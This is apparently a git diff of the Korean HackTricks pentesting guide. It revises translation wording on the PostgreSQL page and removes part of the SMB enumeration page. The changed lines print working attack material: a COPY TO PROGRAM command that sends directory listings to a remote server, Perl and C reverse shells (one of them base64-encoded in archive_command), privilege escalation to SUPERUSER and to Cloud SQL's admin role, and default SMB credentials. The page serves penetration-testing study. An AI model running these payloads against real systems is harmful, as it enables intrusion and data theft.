`/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`입니다. 일반적인 클러스터 이름은 `main`입니다. +**참고:** 설정에서 현재 데이터 디렉토리 경로를 가져올 수 없는 경우, `SELECT version()` 쿼리를 통해 PostgreSQL의 주요 버전을 쿼리하고 경로를 무작위로 추측해 볼 수 있습니다. PostgreSQL의 Unix 설치에서 일반적인 데이터 디렉토리 경로는 `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`입니다. 일반적인 클러스터 이름은 `main`입니다. -2. 대상 테이블과 관련된 파일 노드에 대한 상대 경로 가져오기 +2. 대상 테이블과 연관된 파일 노드에 대한 상대 경로 가져오기 ```sql SELECT pg_relation_filepath('{TABLE_NAME}') @@ -310,7 +309,7 @@ SELECT pg_relation_filepath('{TABLE_NAME}') SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` -4. 대상 테이블과 관련된 데이터 유형 가져오기 +4. 대상 테이블과 연관된 데이터 유형 가져오기 ```sql SELECT @@ -361,11 +360,11 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ### **프로그램에 대한 RCE** -[버전 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)부터는 **슈퍼 유저**와 **`pg_execute_server_program`** 그룹의 멤버만 RCE를 위해 copy를 사용할 수 있습니다 (예: 유출). +[버전 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)부터는 **슈퍼 유저**와 **`pg_execute_server_program`** 그룹의 구성원만 RCE를 위해 copy를 사용할 수 있습니다 (유출 예시: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` -exec를 실행하는 예: +예제 실행: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; @@ -379,7 +378,7 @@ DROP TABLE IF EXISTS cmd_exec; COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` > [!WARNING] -> 슈퍼 유저가 아니지만 **`CREATEROLE`** 권한이 있는 경우, **그 그룹의 구성원이 될 수 있습니다:** +> 슈퍼 유저가 아니지만 **`CREATEROLE`** 권한이 있는 경우 **그 그룹의 구성원이 될 수 있습니다:** > > ```sql > GRANT pg_execute_server_program TO username; @@ -388,7 +387,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I > [**자세한 정보.**](pentesting-postgresql.md#privilege-escalation-with-createrole) 또는 **metasploit**의 `multi/postgres/postgres_copy_from_program_cmd_exec` 모듈을 사용할 수 있습니다.\ -이 취약점에 대한 더 많은 정보는 [**여기**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)에서 확인할 수 있습니다. CVE-2019-9193으로 보고되었지만, Postges는 이것이 [기능이며 수정되지 않을 것이라고 선언했습니다](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). +이 취약점에 대한 더 많은 정보는 [**여기**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)에서 확인하세요. CVE-2019-9193으로 보고되었지만, Postges는 이것이 [기능이며 수정되지 않을 것이라고 선언했습니다](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### PostgreSQL 언어로 RCE @@ -406,7 +405,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I ### PostgreSQL 구성 파일 RCE -> [!NOTE] +> [!TIP] > 다음 RCE 벡터는 모든 단계가 중첩된 SELECT 문을 통해 수행될 수 있으므로 제한된 SQLi 컨텍스트에서 특히 유용합니다. PostgreSQL의 **구성 파일**은 **postgres 사용자**에 의해 **쓰기 가능**하며, 이는 데이터베이스를 실행하는 사용자입니다. 따라서 **슈퍼유저**로서 파일 시스템에 파일을 쓸 수 있으며, 따라서 이 파일을 **덮어쓸 수 있습니다.** @@ -415,13 +414,13 @@ PostgreSQL의 **구성 파일**은 **postgres 사용자**에 의해 **쓰기 가 #### **ssl_passphrase_command로 RCE** -이 기술에 대한 더 많은 정보는 [여기](https://pulsesecurity.co.nz/articles/postgres-sqli)에서 확인할 수 있습니다. +이 기술에 대한 더 많은 정보는 [여기](https://pulsesecurity.co.nz/articles/postgres-sqli)에서 확인하세요. 구성 파일에는 RCE로 이어질 수 있는 몇 가지 흥미로운 속성이 있습니다: - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` 데이터베이스의 개인 키 경로 -- `ssl_passphrase_command = ''` 개인 파일이 비밀번호로 보호되어 있는 경우 (암호화됨) PostgreSQL은 **이 속성에 지정된 명령을 실행합니다**. -- `ssl_passphrase_command_supports_reload = off` **이** 속성이 **켜져 있으면** 비밀번호로 보호된 키가 **실행될 때** **명령**이 `pg_reload_conf()`가 **실행될 때** **실행됩니다**. +- `ssl_passphrase_command = ''` 개인 파일이 비밀번호로 보호되는 경우 (암호화됨) PostgreSQL은 **이 속성에 지정된 명령을 실행합니다**. +- `ssl_passphrase_command_supports_reload = off` **이** 속성이 **켜져 있으면** 비밀번호로 보호된 키가 **명령**이 `pg_reload_conf()`가 **실행될 때 실행됩니다**. 그런 다음 공격자는 다음을 수행해야 합니다: @@ -435,11 +434,11 @@ PostgreSQL의 **구성 파일**은 **postgres 사용자**에 의해 **쓰기 가 2. `ssl_passphrase_command_supports_reload = on` 6. `pg_reload_conf()` 실행 -테스트하는 동안, **개인 키 파일의 권한이 640**이어야 하며, **root** 소유이고 **ssl-cert 또는 postgres** 그룹에 속해야 (postgres 사용자가 읽을 수 있도록) 하며, _/var/lib/postgresql/12/main_에 위치해야 한다는 것을 알았습니다. +테스트하는 동안 **개인 키 파일의 권한이 640**이어야 하며, **root** 소유이고 **ssl-cert 또는 postgres 그룹**에 속해야 (postgres 사용자가 읽을 수 있도록) 하며, _/var/lib/postgresql/12/main_에 위치해야 한다는 것을 알게 되었습니다. #### **archive_command로 RCE** -**더 많은** [**정보는 이 구성 및 WAL에 대한 정보는 여기**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**에서 확인할 수 있습니다.** +**더 많은** [**정보는 이 구성과 WAL에 대해 여기**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**서 확인하세요.** 구성 파일에서 악용 가능한 또 다른 속성은 `archive_command`입니다. @@ -450,18 +449,18 @@ PostgreSQL의 **구성 파일**은 **postgres 사용자**에 의해 **쓰기 가 1. 아카이브 모드가 활성화되어 있는지 확인: `SELECT current_setting('archive_mode')` 2. 페이로드로 `archive_command` 덮어쓰기. 예를 들어, 리버스 셸: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 3. 구성 다시 로드: `SELECT pg_reload_conf()` -4. WAL 작업을 실행하여 아카이브 명령을 호출: `SELECT pg_switch_wal()` 또는 일부 PostgreSQL 버전의 경우 `SELECT pg_switch_xlog()` +4. WAL 작업을 강제로 실행하여 아카이브 명령을 호출: `SELECT pg_switch_wal()` 또는 일부 PostgreSQL 버전의 경우 `SELECT pg_switch_xlog()` #### **프리로드 라이브러리로 RCE** -이 기술에 대한 더 많은 정보는 [여기](https://adeadfed.com/posts/postgresql-select-only-rce/)에서 확인할 수 있습니다. +이 기술에 대한 더 많은 정보는 [여기](https://adeadfed.com/posts/postgresql-select-only-rce/)에서 확인하세요. -이 공격 벡터는 다음 구성 변수를 이용합니다: +이 공격 벡터는 다음 구성 변수를 활용합니다: - `session_preload_libraries` -- 클라이언트 연결 시 PostgreSQL 서버에 의해 로드될 라이브러리. - `dynamic_library_path` -- PostgreSQL 서버가 라이브러리를 검색할 디렉토리 목록. -`dynamic_library_path` 값을 데이터베이스를 실행하는 `postgres` 사용자가 쓸 수 있는 디렉토리, 예를 들어 `/tmp/` 디렉토리로 설정하고, 그곳에 악성 `.so` 객체를 업로드할 수 있습니다. 다음으로, `session_preload_libraries` 변수에 새로 업로드한 라이브러리를 포함시켜 PostgreSQL 서버가 이를 로드하도록 강제할 것입니다. +`dynamic_library_path` 값을 데이터베이스를 실행하는 `postgres` 사용자가 쓸 수 있는 디렉토리, 예를 들어 `/tmp/` 디렉토리로 설정하고, 그곳에 악성 `.so` 객체를 업로드할 수 있습니다. 다음으로, `session_preload_libraries` 변수에 새로 업로드한 라이브러리를 포함시켜 PostgreSQL 서버가 이를 로드하도록 강제합니다. 공격 단계는 다음과 같습니다: @@ -488,7 +487,7 @@ PG_MODULE_MAGIC; void _init() { /* -코드는 https://www.revshells.com/에서 가져옴 +code taken from https://www.revshells.com/ */ int port = REVSHELL_PORT; @@ -516,10 +515,10 @@ execve("/bin/bash", argv, NULL); gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c ``` -6. 2-3단계에서 생성된 악성 `postgresql.conf` 업로드하고 원본 덮어쓰기 +6. 2-3단계에서 생성된 악성 `postgresql.conf`를 업로드하고 원본을 덮어쓰기 7. 5단계에서 `payload.so`를 `/tmp` 디렉토리에 업로드 -8. 서버를 재시작하거나 `SELECT pg_reload_conf()` 쿼리를 호출하여 서버 구성 다시 로드 -9. 다음 DB 연결 시 리버스 셸 연결을 수신하게 됩니다. +8. 서버를 재시작하거나 `SELECT pg_reload_conf()` 쿼리를 호출하여 서버 구성을 다시 로드 +9. 다음 DB 연결 시 리버스 셸 연결을 받을 수 있습니다. ## **Postgres Privesc** @@ -527,9 +526,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so #### **Grant** -[**문서**](https://www.postgresql.org/docs/13/sql-grant.html)에 따르면: _**`CREATEROLE`** 권한이 있는 역할은 **슈퍼유저가 아닌** 모든 역할에 대한 멤버십을 **부여하거나 철회할 수 있습니다**._ +[**문서**](https://www.postgresql.org/docs/13/sql-grant.html)에 따르면: _**`CREATEROLE`** 권한이 있는 역할은 **슈퍼유저가 아닌 모든 역할의 구성원 자격을 부여하거나 취소할 수 있습니다**._ -따라서 **`CREATEROLE`** 권한이 있는 경우, 다른 **역할**(슈퍼유저가 아닌)에 대한 접근 권한을 부여하여 파일을 읽고 쓸 수 있는 옵션과 명령을 실행할 수 있습니다: +따라서 **`CREATEROLE`** 권한이 있는 경우 다른 **역할**(슈퍼유저가 아닌)에게 접근 권한을 부여하여 파일을 읽고 쓸 수 있는 옵션과 명령을 실행할 수 있습니다: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -547,11 +546,11 @@ ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Privesc to SUPERUSER -**로컬 사용자가 비밀번호 없이 PostgreSQL에 로그인할 수 있는 경우가 많습니다.** 따라서, **코드를 실행할 수 있는 권한을 얻으면** 이러한 권한을 악용하여 **`SUPERUSER`** 역할을 부여받을 수 있습니다: +**로컬 사용자가 비밀번호 없이 PostgreSQL에 로그인할 수 있는 경우가 많습니다.** 따라서, **코드를 실행할 수 있는 권한을 얻은 후** 이러한 권한을 악용하여 **`SUPERUSER`** 역할을 부여받을 수 있습니다: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` -> [!NOTE] +> [!TIP] > 이는 일반적으로 **`pg_hba.conf`** 파일의 다음 줄들 때문에 가능합니다: > > ```bash @@ -571,7 +570,7 @@ COPY (select '') to PROGRAM 'psql -U -c "ALTER USER
-이 아이디어를 **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) 명령이 **인덱스 함수가 있는 테이블**에서 실행될 때, **함수**가 **테이블** **소유자의 권한**으로 명령의 일부로 **호출된다는** 사실과 결합하면, 함수를 사용하여 인덱스를 생성하고 해당 테이블에 대한 **슈퍼 유저**의 소유자 권한을 부여한 다음, 악의적인 함수를 사용하여 테이블에서 ANALYZE를 실행할 수 있습니다. 이는 소유자의 권한을 사용하기 때문에 명령을 실행할 수 있습니다. +이 아이디어를 **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) 명령이 **인덱스 함수가 있는 테이블**에서 실행될 때, **함수**가 **테이블** **소유자의 권한**으로 명령의 일부로 **호출**된다는 사실과 결합하면, 함수를 사용하여 인덱스를 생성하고 해당 테이블에 대한 **슈퍼 유저**의 소유자 권한을 부여한 다음, 악의적인 함수를 사용하여 테이블에서 ANALYZE를 실행할 수 있습니다. 이는 소유자의 권한을 사용하기 때문에 명령을 실행할 수 있습니다. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -579,7 +578,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION); ``` #### Exploitation -1. 새 테이블을 생성하는 것으로 시작합니다. +1. 새 테이블을 생성합니다. 2. 인덱스 함수에 데이터를 제공하기 위해 테이블에 관련 없는 내용을 삽입합니다. 3. 코드 실행 페이로드를 포함하는 악성 인덱스 함수를 개발하여 무단 명령이 실행될 수 있도록 합니다. 4. 테이블의 소유자를 "cloudsqladmin"으로 ALTER합니다. 이는 Cloud SQL이 데이터베이스를 관리하고 유지하는 데 사용하는 GCP의 슈퍼유저 역할입니다. @@ -606,13 +605,13 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ANALYZE public.temp_table; ``` -그럼 `shell_commands_results` 테이블은 실행된 코드의 출력을 포함하게 됩니다: +그런 다음, `shell_commands_results` 테이블은 실행된 코드의 출력을 포함하게 됩니다: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` -### 로컬 로그인 +### Local Login -일부 잘못 구성된 postgresql 인스턴스는 모든 로컬 사용자의 로그인을 허용할 수 있으며, **`dblink` 함수**를 사용하여 127.0.0.1에서 로컬로 로그인할 수 있습니다: +일부 잘못 구성된 postgresql 인스턴스는 모든 로컬 사용자의 로그인을 허용할 수 있으며, **`dblink` function**을 사용하여 127.0.0.1에서 로컬로 로그인하는 것이 가능합니다: ```sql \du * # Get Users \l # Get databases @@ -631,7 +630,7 @@ RETURNS (result TEXT); > CREATE EXTENSION dblink; > ``` -더 높은 권한을 가진 사용자의 비밀번호가 있지만, 해당 사용자가 외부 IP에서 로그인할 수 없는 경우 다음 함수를 사용하여 해당 사용자로 쿼리를 실행할 수 있습니다: +더 높은 권한을 가진 사용자의 비밀번호가 있지만, 해당 사용자가 외부 IP에서 로그인할 수 없는 경우, 다음 함수를 사용하여 해당 사용자로 쿼리를 실행할 수 있습니다: ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser @@ -639,13 +638,13 @@ dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` -이 기능이 존재하는지 확인할 수 있습니다: +이 함수가 존재하는지 확인하는 것은 다음과 같이 가능합니다: ```sql SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` -### **사용자 정의 함수와** SECURITY DEFINER +### **SECURITY DEFINER가 있는 사용자 정의 함수** -[**이 글에서**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesters는 IBM이 제공한 postgres 인스턴스 내에서 privesc를 수행할 수 있었는데, 그 이유는 **SECURITY DEFINER 플래그가 있는 이 함수를 발견했기 때문입니다**: +[**이 글에서**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesters는 IBM이 제공하는 postgres 인스턴스 내에서 privesc를 수행할 수 있었는데, 그 이유는 **SECURITY DEFINER 플래그가 있는 이 함수를 발견했기 때문입니다**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
 RETURNS text
@@ -668,7 +667,7 @@ PERFORM dblink_disconnect();
 
 [**문서에서 설명된 바와 같이**](https://www.postgresql.org/docs/current/sql-createfunction.html), **SECURITY DEFINER가 있는 함수는** **소유자의 권한으로 실행됩니다**. 따라서, 함수가 **SQL Injection에 취약하거나 공격자가 제어하는 매개변수로 일부 **특권 작업을 수행하는 경우**, 이를 악용하여 **postgres 내에서 권한을 상승시킬 수 있습니다**.
 
-이전 코드의 4번째 줄에서 함수가 **SECURITY DEFINER** 플래그를 가지고 있는 것을 볼 수 있습니다.
+이전 코드의 4번째 줄에서 함수에 **SECURITY DEFINER** 플래그가 있는 것을 볼 수 있습니다.
 ```sql
 CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
 user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
@@ -678,7 +677,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
 
 
-### PL/pgSQL을 통한 패스워드 브루트포스 +### PL/pgSQL을 이용한 패스워드 브루트포스 **PL/pgSQL**은 SQL에 비해 더 큰 절차적 제어를 제공하는 **완전한 프로그래밍 언어**입니다. 이는 **루프** 및 기타 **제어 구조**를 사용하여 프로그램 논리를 향상시킬 수 있게 해줍니다. 또한, **SQL 문** 및 **트리거**는 **PL/pgSQL 언어**를 사용하여 생성된 함수를 호출할 수 있는 기능을 가지고 있습니다. 이러한 통합은 데이터베이스 프로그래밍 및 자동화에 대해 더 포괄적이고 다재다능한 접근 방식을 허용합니다.\ **이 언어를 악용하여 PostgreSQL에 사용자 자격 증명을 브루트포스하도록 요청할 수 있습니다.** @@ -689,7 +688,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ### 내부 PostgreSQL 테이블 덮어쓰기를 통한 권한 상승 -> [!NOTE] +> [!TIP] > 다음 권한 상승 벡터는 모든 단계가 중첩된 SELECT 문을 통해 수행될 수 있으므로 제한된 SQLi 컨텍스트에서 특히 유용합니다. **PostgreSQL 서버 파일을 읽고 쓸 수 있다면**, 내부 `pg_authid` 테이블과 관련된 PostgreSQL 디스크 상의 파일 노드를 덮어쓰는 방식으로 **슈퍼유저가 될 수 있습니다**. @@ -717,7 +716,7 @@ msf> use exploit/windows/postgres/postgres_payload ``` ### logging -_**postgresql.conf**_ 파일 내에서 다음을 변경하여 postgresql 로그를 활성화할 수 있습니다: +_inside the_ _**postgresql.conf**_ _file you can enable postgresql logs changing:_ ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' @@ -741,8 +740,8 @@ string pgadmin4.db ``` ### pg_hba -PostgreSQL에서 클라이언트 인증은 **pg_hba.conf**라는 구성 파일을 통해 관리됩니다. 이 파일은 각 연결 유형, 클라이언트 IP 주소 범위(해당되는 경우), 데이터베이스 이름, 사용자 이름 및 일치하는 연결에 사용할 인증 방법을 지정하는 일련의 레코드를 포함합니다. 연결 유형, 클라이언트 주소, 요청된 데이터베이스 및 사용자 이름과 일치하는 첫 번째 레코드가 인증에 사용됩니다. 인증이 실패할 경우 대체나 백업이 없습니다. 일치하는 레코드가 없으면 접근이 거부됩니다. +PostgreSQL에서 클라이언트 인증은 **pg_hba.conf**라는 구성 파일을 통해 관리됩니다. 이 파일에는 각 연결 유형, 클라이언트 IP 주소 범위(해당되는 경우), 데이터베이스 이름, 사용자 이름 및 일치하는 연결에 사용할 인증 방법을 지정하는 일련의 레코드가 포함되어 있습니다. 연결 유형, 클라이언트 주소, 요청된 데이터베이스 및 사용자 이름과 일치하는 첫 번째 레코드가 인증에 사용됩니다. 인증이 실패할 경우 대체나 백업이 없습니다. 일치하는 레코드가 없으면 접근이 거부됩니다. -pg_hba.conf에서 사용할 수 있는 비밀번호 기반 인증 방법은 **md5**, **crypt**, 및 **password**입니다. 이 방법들은 비밀번호가 전송되는 방식에서 차이가 있습니다: MD5 해시, crypt 암호화 또는 일반 텍스트. crypt 방법은 pg_authid에서 암호화된 비밀번호와 함께 사용할 수 없다는 점에 유의하는 것이 중요합니다. +pg_hba.conf에서 사용 가능한 비밀번호 기반 인증 방법은 **md5**, **crypt**, 및 **password**입니다. 이러한 방법은 비밀번호가 전송되는 방식에서 차이가 있습니다: MD5 해시, crypt 암호화 또는 일반 텍스트. crypt 방법은 pg_authid에서 암호화된 비밀번호와 함께 사용할 수 없다는 점에 유의하는 것이 중요합니다. {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md deleted file mode 100644 index e529285e0..000000000 --- a/src/network-services-pentesting/pentesting-smb.md +++ /dev/null @@ -1,532 +0,0 @@ -# 139,445 - Pentesting SMB - -{{#include ../banners/hacktricks-training.md}} - -## **Port 139** - -_**네트워크 기본 입출력 시스템**_** (NetBIOS)**는 애플리케이션, PC 및 데스크탑이 로컬 영역 네트워크(LAN) 내에서 네트워크 하드웨어와 상호 작용하고 **네트워크를 통한 데이터 전송을 용이하게 하기 위해 설계된 소프트웨어 프로토콜**입니다. NetBIOS 네트워크에서 작동하는 소프트웨어 애플리케이션의 식별 및 위치는 최대 16자 길이의 NetBIOS 이름을 통해 이루어지며, 이는 종종 컴퓨터 이름과 다릅니다. 두 애플리케이션 간의 NetBIOS 세션은 한 애플리케이션(클라이언트 역할)이 **TCP 포트 139**를 사용하여 다른 애플리케이션(서버 역할)을 "호출"하는 명령을 발행할 때 시작됩니다. -``` -139/tcp open netbios-ssn Microsoft Windows netbios-ssn -``` -## Port 445 - -기술적으로, 포트 139는 ‘NBT over IP’로 언급되며, 포트 445는 ‘SMB over IP’로 식별됩니다. 약어 **SMB**는 ‘**Server Message Blocks**’를 의미하며, 현대적으로는 **Common Internet File System (CIFS)**로 알려져 있습니다. 애플리케이션 계층 네트워크 프로토콜로서, SMB/CIFS는 주로 파일, 프린터, 직렬 포트에 대한 공유 액세스를 가능하게 하고, 네트워크의 노드 간 다양한 형태의 통신을 촉진하는 데 사용됩니다. - -예를 들어, Windows의 맥락에서 SMB는 TCP/IP를 통해 직접 작동할 수 있으며, 이는 포트 445를 사용하여 TCP/IP를 통한 NetBIOS의 필요성을 제거합니다. 반대로, 다른 시스템에서는 포트 139의 사용이 관찰되며, 이는 SMB가 TCP/IP를 통한 NetBIOS와 함께 실행되고 있음을 나타냅니다. -``` -445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) -``` -### SMB - -**서버 메시지 블록 (SMB)** 프로토콜은 **클라이언트-서버** 모델에서 작동하며, **파일**, 디렉토리 및 프린터와 라우터와 같은 기타 네트워크 리소스에 대한 **접근**을 규제하기 위해 설계되었습니다. 주로 **Windows** 운영 체제 시리즈 내에서 사용되며, SMB는 하위 호환성을 보장하여 Microsoft의 최신 운영 체제를 실행하는 장치가 이전 버전을 실행하는 장치와 원활하게 상호 작용할 수 있도록 합니다. 또한, **Samba** 프로젝트는 SMB를 **Linux** 및 Unix 시스템에서 구현할 수 있는 무료 소프트웨어 솔루션을 제공하여 SMB를 통한 크로스 플랫폼 통신을 촉진합니다. - -SMB 서버는 **로컬 파일 시스템의 임의 부분**을 나타내는 공유를 제공할 수 있으며, 이를 통해 클라이언트는 서버의 실제 구조와 부분적으로 **독립적인** 계층을 볼 수 있습니다. **접근 제어 목록 (ACLs)**은 **접근 권한**을 정의하며, **`execute`**, **`read`**, **`full access`**와 같은 속성을 포함하여 사용자 권한에 대한 **세밀한 제어**를 허용합니다. 이러한 권한은 공유를 기반으로 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에서 설정된 로컬 권한과는 구별됩니다. - -### IPC$ Share - -IPC$ 공유에 대한 접근은 익명 널 세션을 통해 얻을 수 있으며, 이를 통해 명명된 파이프를 통해 노출된 서비스와 상호 작용할 수 있습니다. 이 목적을 위해 `enum4linux` 유틸리티가 유용합니다. 적절히 사용하면 다음과 같은 정보를 획득할 수 있습니다: - -- 운영 체제에 대한 정보 -- 상위 도메인에 대한 세부 정보 -- 로컬 사용자 및 그룹의 목록 -- 사용 가능한 SMB 공유에 대한 정보 -- 효과적인 시스템 보안 정책 - -이 기능은 네트워크 관리자가 SMB (서버 메시지 블록) 서비스의 보안 상태를 평가하는 데 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경에 대한 포괄적인 뷰를 제공하여 잠재적인 취약점을 식별하고 SMB 서비스가 적절하게 보호되고 있는지 확인하는 데 필수적입니다. -```bash -enum4linux -a target_ip -``` -위의 명령은 `enum4linux`가 `target_ip`로 지정된 대상을 대상으로 전체 열거를 수행하는 방법의 예입니다. - -## NTLM이란 - -NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 그리고 어떻게 악용할 수 있는지 알고 싶다면, **이 프로토콜이 어떻게 작동하는지와 이를 어떻게 활용할 수 있는지 설명하는** **NTLM**에 대한 이 페이지가 매우 흥미로울 것입니다: - -{{#ref}} -../windows-hardening/ntlm/ -{{#endref}} - -## **서버 열거** - -### **호스트 검색을 위한** 네트워크 스캔: -```bash -nbtscan -r 192.168.0.1/24 -``` -### SMB 서버 버전 - -SMB 버전에 대한 가능한 취약점을 찾으려면 어떤 버전이 사용되고 있는지 아는 것이 중요합니다. 이 정보가 다른 도구에서 나타나지 않는 경우, 다음을 사용할 수 있습니다: - -- **MSF** 보조 모듈 _**auxiliary/scanner/smb/smb_version**_ 사용 -- 또는 이 스크립트: -```bash -#!/bin/sh -#Author: rewardone -#Description: -# Requires root or enough permissions to use tcpdump -# Will listen for the first 7 packets of a null login -# and grab the SMB Version -#Notes: -# Will sometimes not capture or will print multiple -# lines. May need to run a second time for success. -if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi -if [ ! -z $2 ]; then rport=$2; else rport=139; fi -tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & -echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null -echo "" && sleep .1 -``` -### **검색 취약점** -```bash -msf> search type:exploit platform:windows target:2008 smb -searchsploit microsoft smb -``` -### **가능한** 자격 증명 - -| **사용자 이름** | **일반 비밀번호** | -| -------------------- | --------------------------------------- | -| _(빈칸)_ | _(빈칸)_ | -| 게스트 | _(빈칸)_ | -| 관리자, admin | _(빈칸)_, 비밀번호, 관리자, admin | -| arcserve | arcserve, 백업 | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, 백업, arcada | -| test, lab, demo | 비밀번호, test, lab, demo | - -### 무차별 대입 공격 - -- [**SMB 무차별 대입 공격**](../generic-methodologies-and-resources/brute-force.md#smb) - -### SMB 환경 정보 - -### 정보 획득 -```bash -#Dump interesting information -enum4linux -a [-u "" -p ""] -enum4linux-ng -A [-u "" -p ""] -nmap --script "safe or smb-enum-*" -p 445 - -#Connect to the rpc -rpcclient -U "" -N #No creds -rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash -rpcclient -U "username%passwd" #With creds -#You can use querydispinfo and enumdomusers to query user information - -#Dump user information -/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@] -/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@] - -#Map possible RPC endpoints -/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@] -/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] -/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] -``` -### 사용자, 그룹 및 로그인한 사용자 열거 - -이 정보는 이미 enum4linux 및 enum4linux-ng에서 수집되어야 합니다. -```bash -crackmapexec smb 10.10.10.10 --users [-u -p ] -crackmapexec smb 10.10.10.10 --groups [-u -p ] -crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u -p ] - -ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " " - -rpcclient -U "" -N 10.10.10.10 -enumdomusers -enumdomgroups -``` -### 로컬 사용자 나열 - -[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) -```bash -lookupsid.py -no-pass hostname.local -``` -원라이너 -```bash -for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done -``` -### Metasploit - 로컬 사용자 열거 -```bash -use auxiliary/scanner/smb/smb_lookupsid -set rhosts hostname.local -run -``` -### **LSARPC 및 SAMR rpcclient 열거하기** - -{{#ref}} -pentesting-smb/rpcclient-enumeration.md -{{#endref}} - -### 리눅스에서 GUI 연결 - -#### 터미널에서: - -`xdg-open smb://cascade.htb/` - -#### 파일 브라우저 창에서 (nautilus, thunar 등) - -`smb://friendzone.htb/general/` - -## 공유 폴더 열거하기 - -### 공유 폴더 목록 - -항상 접근할 수 있는지 확인하는 것이 좋습니다. 자격 증명이 없는 경우 **null** **자격 증명/게스트 사용자**를 사용해 보십시오. -```bash -smbclient --no-pass -L // # Null user -smbclient -U 'username[%passwd]' -L 